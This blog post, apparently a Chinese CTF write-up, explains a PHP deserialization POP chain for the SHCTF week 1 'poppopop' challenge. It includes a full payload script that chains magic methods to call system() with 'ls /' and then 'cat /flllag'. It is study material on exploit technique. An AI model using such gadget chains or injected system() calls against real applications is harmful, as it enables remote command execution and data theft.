首页 > 其他分享 >shctf [week1]poppopop

shctf [week1]poppopop

时间:2024-10-09 22:33:49浏览次数:9  
标签:__ shctf SHCTF flag poppopop week1 new echo public

最近刚好在学pop链和反序列化,那就写一篇shctf做题的随笔吧
进来先审计代码;

1.发现反序列化首先会调用__destruct()魔术方法,将$Web赋为true,并echo $n,显然在这里我们得再有一个魔术方法,又因为这里调用的n被当字符串输出,一眼看到__toString(),考虑把$n赋值为new F();
2.F类中$o被当作一个对象调用,由于flag()函数在C类中,考虑把$o赋值为new C();
3.然而此时只剩一个__invoke()没有被调用,而它的调用需要类SHCTF被当成函数调用,刚好C的flag()函数将$p作为函数进行调用,那只要把$p赋值为new SHCTF(),就能解决问题;
4.此时Web为true,会调用函数$isyou并传入参数$flag,那我们找找看,构造payload:

 <?php
class SH {

    public static $Web = false;
    public static $SHCTF = false;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __construct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
$a=new T();
$b=new F();
$c=new C();
$d=new SHCTF();
$a->n=$b;
$d->isyou='system';
$d->flag='ls /';
$b->o=$c;
$c->p=$d;
echo base64_encode(serialize($a));
?>


发现目录flllag;修改$flag的值为'cat /flllag'
即可得到flag:

标签:__,shctf,SHCTF,flag,poppopop,week1,new,echo,public
From: https://www.cnblogs.com/c1432/p/18455330

相关文章

  • NewStar CTF 2024 week1 题解
    1.base题目给了以下内容:Thisisabasequestion!4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D观察给出的字符串发现,字符串由数字0-9以及字母A-F组成,于是推测这可能是一个base16编码,于是将其解码,......
  • NewStar2024-week1
    前言:刚开始比赛,时间比较多尝试了一下所有题目,难度也很友好,之后就写密码了,写全部太累了Week1CryptoBase4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D秒了一眼秒了p,q相近或者factordb查"""fro......
  • shctf 有感
    当我打ezapk的时候见到了这个代码我看的出这是先进行key异或加密后再转base64和目标对比(其实我漏了一个要先转UTF-8,但是我只会用C语言写base64解码,不会UTF-8解码),百思不得其解怎么写shellcode,听了某大跌建议,直接咨询AI,然后被喂了个python代码,ctrlc+ctrlcv就解出flag了。。。......
  • 2024新生赛-Week1
    F12快捷键f12直接查看字符串xor了解一下XOR运算,AB=C,CA=B使用a数组对输入的字符进行循环运算取出最终的字符串再进行一次xor即可得到flagEzencode进入加密函数后发现是一个base64算法,对表进行了替换,最后有对编码得到的结果进行异或操作.提出最后的密文,进行异或,换表......
  • [SKSEC::CTF新生web专题训练赛] week1 writeup
    1.扫雷游戏(js)随便点格子,当点到第二个时,会判定踩雷失败,浏览器给出gameover的提示并刷新网页。F12从来源中找到saolei.js,找到gameover所在的函数if分支。if(block.isMine){block.innerHTML='......
  • 复健week1
    复健week1主要是字符串基础,都是以前做过的题。KMPLG3375【模板】KMP唯一没忘的东西,原理理解后比较简单,懒得详细写了。复杂度证明:\(j\)指针至多加\(n\)次,无法匹配后也至多回退\(n\)次。复杂度\(O(n)\)for(inti=2,j=0;i<=n;++i){while(j&&s[i]!=s[j+1])j=nxt[j];......
  • mini-lsm通关笔记Week1Day7
    Summary在上一章中,您已经构建了一个具有get/scan/put支持的存储引擎。在本周末,我们将实现SST存储格式的一些简单但重要的优化。欢迎来到Mini-LSM的第1周零食时间!在本章中,您将:在SST上实现布隆过滤器,并集成到LSM读路径get中。以SST块格式实现对key存储的压缩。要将测试用例......
  • mini-lsm通关笔记Week1Day6
    项目地址:https://github.com/skyzh/mini-lsm个人实现地址:https://gitee.com/cnyuyang/mini-lsmSummary在本章中,您将:使用L0flush实现LSM写路径。实现逻辑以正确更新LSM状态。要将测试用例复制到启动器代码中并运行它们,cargoxcopy-test--week1--day6cargoxsch......
  • mini-lsm通关笔记Week1Day5
    项目地址:https://github.com/skyzh/mini-lsm个人实现地址:https://gitee.com/cnyuyang/mini-lsmTask1-TwoMergeIterator在此任务中,您需要修改:src/iterators/two_merge_iterator.rs你已经在Week1Day2中实现了一个合并迭代器,它合并相同类型的迭代器(如:memtable迭代器)。既然......
  • BaseCTF2024-week1-Crypto部分题目wp
    先放一下官方的wp(我这里只放我出的题):Docs(feishu.cn)babypackfromCrypto.Util.numberimport*importrandomflag=b'BaseCTF{}'m=bytes_to_long(flag)bin_m=bin(m)[2:]length=len(bin_m)a=[1]sum=1foriinrange(length-1):temp=random.randint(2*sum+1,4*su......